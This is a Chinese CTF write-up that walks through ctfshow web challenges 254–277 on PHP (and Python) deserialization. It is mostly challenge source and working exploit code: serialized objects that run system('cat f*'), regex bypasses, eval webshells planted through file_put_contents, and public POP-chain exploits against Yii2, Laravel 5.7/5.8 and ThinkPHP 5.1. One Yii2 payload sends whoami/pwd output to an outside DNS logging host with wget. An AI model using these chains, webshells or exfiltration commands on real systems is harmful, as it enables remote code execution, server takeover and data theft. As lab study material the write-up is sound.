- web 254-代码审计
- web 255-cookie传值
- web 256-修改初始值
- web 257-修改调用方法
- web 258-正则表达式绕过
- web 259
- web 260-设定参数值
- web 261-魔法函数、弱类型比较
- web 262-反序列化字符逃逸
- web 263-session反序列化
- web 264-反序列化字符逃逸
- web 265-按地址传参
- web 266-伪协议、正则绕过
- web 267-yii框架反序列化漏洞
- web 268-yii框架反序列化漏洞
- web 269-yii框架反序列化漏洞
- web 270-yii框架反序列化漏洞
- web 271-laravel5.7反序列化漏洞
- web 272、273-laravel5.8反序列化漏洞
- web 274-thinkphp5.1的反序列化漏洞
- web 275-代码审计
- web 276
- web 277-python反序列化
https://blog.csdn.net/miuzzx/article/details/110558192 https://blog.csdn.net/rfrder/article/details/113808539
web 254-代码审计
考察简单的代码审计
GET /?username=xxxxxx&password=xxxxx
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
web 255-cookie传值
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
# 通过与web 254相比,可知本题也应该用get方式传递参数username和password
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
# 用cookie方式传参user且值反序列化之后应该是ctfShowUser的实例化对象
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
# 需要isVip=true,但checkVip()中并没有给isVip赋值true,应在反序列化中赋值
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
解题
class ctfShowUser{
public $isVip=true;
}
$a = ctfShowUser();
echo serialize($a)
分号需要url编码
web 256-修改初始值
题目
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
# 要求username 不等于 password
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
要求username 不等于 password,应在序列化示例对象时修改username的初始化值
<?php
class ctfShowUser{
public $isVip=true;
public $username='uuu';
}
$a = new ctfShowUser();
echo serialize($a);
web 257-修改调用方法
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
# 定义时改为$class = 'backDoor'
private $class = 'info';
# new实例化类的时候调用
public function __construct(){
$this->class=new info(); # 改为new backDoor()
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
# 类对象使用完毕时调用
public function __destruct(){
# 调用本类中class参数指代类的getInfo()方法
# 由于想调用backDoor类的getInfo(),所以考虑在定义时$class = 'backDoor';
$this->class->getInfo();
}
}
# 两个类 都存在getInfo方法,可看出backDoor类更加危险,提供了命令执行的接口
# 考虑舍弃info类,使用backDoor类代替
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code); # 找到危险函数eval,考虑利用
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
由于涉及到类方法的相互调用,private只允许调用本类的方法,应该为public
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("cat f*");';
}
$a = new ctfShowUser();
echo serialize($a);
# O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:17:"system("cat f*");";}}
web 258-正则表达式绕过
在web 257的基础之上,对于user的值做了正则表达式限制
[oc]: -> 以o:或者c:开头
\d+ -> 匹配一个或多个[0-9]的数字
/i -> 不区分大小写
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
由于对【O:数字】进行了限制,可通过O:和数字之间增加+(加号)绕过
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("cat f*");';
}
$a = new ctfShowUser();
echo serialize($a);
# O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:17:"system("cat f*");";}}
# 由于对O:数字进行了限制,可通过O:和数字之间增加+(加号)绕过
# O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:17:"system("cat f*");";}}
?>
web 259
web 260-设定参数值
要求传入的参数中包含ctfshow_i_love_36D
payload
<?php
$a = 'ctfshow_i_love_36D';
echo serialize($a);
直接传值也可以,ctfshow=ctfshow_i_love_36D
对一个参数进行序列化结果
web 261-魔法函数、弱类型比较
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
# 实例化对象时调用
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
# unserialize时调用,对象属性个数大于实际情况时跳过
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
# 尝试把对象当方法调用时自动调用
public function __invoke(){
eval($this->code);
}
# serialize时调用
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
# 通过username和password拼接的结果==877即可
# 由于code==0x36d是弱类型比较,username=877.php password=shell
$this->code = $this->username.$this->password;
}
# 类对象使用结束时调用
public function __destruct(){
if($this->code==0x36d){
# 将password的值shell脚本内容写入,username的值877.php中
file_put_contents($this->username, $this->password); # 找到危险函数
}
}
}
unserialize($_GET['vip']);
__construct()构造函数 | 实例化类时自动调用 new |
---|---|
__destruct()析构函数 | 类对象使用结束时自动调用 |
__sleep()包含该方法内的任意函数 | 使用 serialize 序列化时自动调用 |
__wakeup()包含该方法内的任意函数 | 使用 unserialize 反序列化时自动调用;当对象属性个数大于实际个数时,会跳过__wakeup的执行 |
__invoke() | 当尝试把对象当方法调用时自动调用 |
1、在7.4以上版本,类中同时定义了unserialize()和wakeup(),则跳过__wakeup()
2、锁定file_put_contents危险函数,用于写入文件
3、需要满足code==0x36d弱类型比较,0x36十六进制数转十进制是877
要通过构造username=877.php,password=shell,使得满足2、3的条件
php弱类型学习可参考博客 php 弱类型总结
payload
<?php
class ctfshowvip{
public $username='877.php';
public $password='<?php phpinfo();?>';
public function __invoke(){
eval($this->code);
}
}
$a=new ctfshowvip();
echo serialize($a);
传参
?vip=O:10:”ctfshowvip”:2:{s:8:”username”;s:7:”877.php”;s:8:”password”;s:18:”<?php phpinfo();?>”;}
成功写入文件
将内容改为一句话木马<?php @eval($_POST[1]);?>,执行命令报错
在网上查到了解决方法eval()改为eval(“内容;”)即可,原理不知道待解决
最终payload
<?php
class ctfshowvip{
public $username='877.php';
public $password='<?php @eval("$_POST[1];");?>';
public function __invoke(){
eval($this->code);
}
}
$a=new ctfshowvip();
echo serialize($a);
web 262-反序列化字符逃逸
首先学习一下别人的总结,了解什么是反序列化逃逸
PHP反序列化字符逃逸详解
稍微补充一下,由于 } 作为结束符,所以”;s:4:”pass”;s:6:”123456”;}部分在反序列化中被省略
看会原题
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
这部分看出反序列化字符逃逸,(题型特征)
$umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); $msg = unserialize(base64_decode($_COOKIE['msg'])); # 反序列化后实现字符串逃逸
并没有flag的相关信息,但注意到注释部分提供了一个页面message.php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
方法一
1、token==admin
2、程序中自动将msg写入message.php的cookie
3、考虑反序列化字符逃逸的思想,构造msg的内容
分析:
因为字符串fuck会替换成loveU,长度由4变为5位,目标是通过反序列化字符逃逸将原本的”;s:5:”token”;s:4:”user”;}替换成”;s:5:”token”;s:4:”admin”;},而”;s:5:”token”;s:4:”admin”;}这段长度是27,所以需要构造27*fuck”;s:5:”token”;s:4:”admin”;},从而把原来的token赋值部分顶出去
payload
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = 1;
$m = 2;
$t = '3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
echo serialize($msg);
echo("\n");
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg;
echo("\n");
}
第一步在index.php页面发送msg
?f=1&m=2&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:”token”;s:5:”admin”;}
第二步访问message.php页面
方法二
根据message.php的代码,其实很简单,只要定义token=’admin’就行
web 263-session反序列化
关于session反序列化的问题参考
深入浅析PHP的session反序列化漏洞问题
通过后台目录扫描,找到www.zip压缩包,关键文件index.php\check.php\inc.php
inc.php
找到关键信息,判断是session反序列化,这里把session的session.serialize_handler设置为php,默认的php.ini应该不是php。如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确的反序列化,造成漏洞利用。
ini_set(‘session.serialize_handler’, ‘php’);
找到危险函数,file_put_contents,可在此写入木马
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
然后查找如何控制session
在index.php中找到可通过给cookie给session传值,从而实现session控制
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
# 注意登录错误不能大于5次
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
payload
写入的码尝试了
<?php eval($_POST[1]);?> 能上传成功但不能利用,需要在后面加入phpinfo();原理不清楚
<?php
class User{
public $username;
public $password;
function __construct(){
$this->username = "2.php";
$this->password = '<?php eval("$_POST[1];");phpinfo();?>';
}
}
echo base64_encode("|".serialize(new User()));
修改limit的cookie值再刷新一遍
访问check.php文件,该文件包含inc.php,执行写入文件程序,写入log-1.php木马文件
require_once ‘inc/inc.php’;
web 264-反序列化字符逃逸
在web262的基础上将cookie传参改成了session传参
index.php
$umsg = str_replace(‘fuck’, ‘loveU’, serialize($msg));
$_SESSION[‘msg’]=base64_encode($umsg);
message.php
if(isset($_COOKIE[‘msg’])){
$msg = unserialize(base64_decode($_SESSION[‘msg’]));
if($msg->token==’admin’){
echo $flag;
}
解题方法同web 262 方法一
但是由于message.php中做了cookie值存在与否的判断if(isset($_COOKIE[‘msg’]))
需要给cookie新增一个msg并随便赋一个值
web 265-按地址传参
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
# token为一个随机数
$ctfshow->token=md5(mt_rand());
# 如果password = token则输出flag
if($ctfshow->login()){
echo $flag;
}
PHP在参数名前加上&符号,表示传递的内容为地址,本例中如果$a或者$b的任一个值改变,另一个也会改变
payload
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password = &$this->token;
}
}
$a = new ctfshowAdmin();
echo serialize($a);
?ctfshow=O:12:”ctfshowAdmin”:2:{s:5:”token”;N;s:8:”password”;R:2;}
web 266-伪协议、正则绕过
题目
include('flag.php');
# 通过php://input伪协议输入信息
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
# 执行析构函数就可以输出flag,类对象结束使用时自动调用
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
# 做了字符串限制,由于php不区分大小写,可以考虑大小写绕过
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
payload
<?php
class ctfshow{
}
echo serialize(new ctfshow());
web 267-yii框架反序列化漏洞
查看源码,发现引用了yii,点开看是2.0版本,考点是yii2反序列化漏洞,学习可看这篇文章
在login发现登录页面,使用弱口令admin/admin可登录
在about页面查看源代码有提示
访问发现后面
?r=site%2Fabout&view-source
可通过以下入口攻击?r=/backdoor/shell&code=poc
然后在网上找poc,有四个反序列化链
POC1
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo'; //passthru
$this->id = '1'; //cat /flag
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
POC2
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
POC3
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
POC4
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('phpinfo', '1');
echo(base64_encode(serialize($exp)));
}
方法一-直接回显
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /flag';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
方法二-dns带外
借助dnslog.cn,log.咕.com验证该漏洞是否可以外带数据
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'wget `whoami`.6ac9ed0e.dns.1433.eu.org.';
//$this->id = 'wget `pwd|base64`.6ac9ed0e.dns.1433.eu.org.';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
命令执行结果可返回,命令改为pwd时无显示,可能过滤了某些字符,可以加上base64编码,得到web路径/var/www/html/basic/web
同理可以查看当前目录下的文件ls|base64
assets
css
index.html
index.php
但尝试之后发现只能执行单命令,因此无法查看flag
方法三-写入木马文件
虽然dns外带没有把最终的flag输出出来,但是我们知道了网站路径,考虑直接写入一个木马脚本,注意$符号需要转义
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php";
}
web 268-yii框架反序列化漏洞
方法同web267 的方法三(passthru回显也限制了),需要使用POC2
web 269-yii框架反序列化漏洞
方法同web267 的方法三,需要使用POC3
web 270-yii框架反序列化漏洞
方法同web267 的方法三,需要使用POC4
web 271-laravel5.7反序列化漏洞
题目
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
题目已写明是Laravel框架,找POC即可
用的羽师傅的脚本,命令执行的时候过滤了空格,使用 < 替换 空格
<?php
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('tac</flag'));
echo urlencode(serialize($pendingcommand));
}
web 272、273-laravel5.8反序列化漏洞
网上找的POC但都没有实现
<?php
/*
Author:monitor
description:
laravel deserialization chain
*/
namespace Illuminate\Broadcasting
{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events,$event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus
{
class Dispatcher{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Mockery\Loader
{
class EvalLoader{
}
}
namespace Mockery\Generator
{
class MockDefinition{
protected $config;
protected $code;
public function __construct($config,$code){
$this->config = $config;
$this->code = $code;
}
}
class MockConfiguration{
protected $name;
public function __construct($name)
{
$this->name = $name;
}
}
}
namespace Illuminate\Queue
{
class CallQueuedClosure{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace
{
$mockconfiguration = new Mockery\Generator\MockConfiguration("pass");
$mockdefination = new Mockery\Generator\MockDefinition($mockconfiguration,"<?php phpinfo();exit();?>");
$callqueuedclosure = new Illuminate\Queue\CallQueuedClosure($mockdefination);
$evaload = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evaload,"load"));
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$callqueuedclosure);
echo urlencode(serialize($pendingbroadcast));
}
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
use Mockery\Generator\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\Loader{
class EvalLoader
{
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php file_put_contents('/app/public/1.php', '<?php eval(\$_POST[1]);?>');"; # 写入文件
//此处是PHP代码 <?php setcookie('pwd', shell_exec('pwd')); 写入cookie,带出数据
$this->config=new MockConfiguration();
}
}
class MockConfiguration
{
protected $name="feng";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
报错,无法回显,没有写入cookie,也没有写入文件,待解决
web 274-thinkphp5.1的反序列化漏洞
根据网页考虑thinkphp5.1框架漏洞
查看源代码,找到传参接口
网上找的POC
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system"; //PHP函数
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin']; //PHP函数的参数
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
web 275-代码审计
题目
<?php
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
# 需要evilfile=true
if($this->evilfile){
# 命令执行内容可控 可构造 rm 1.txt;cat flag
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
# 实例化类对象结束后 可以触发__destruct()中的system,导致命令执行
$f = new filter($_GET['fn'],$content);
# 后面的内容可忽略
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
需要evilfile=true,至少满足filename包含php,或者filecontent包含flag
web 276
web 277-python反序列化
查看源代码发现以下内容,pickle是python3 的序列化和反序列化包,所以考点是python的反序列化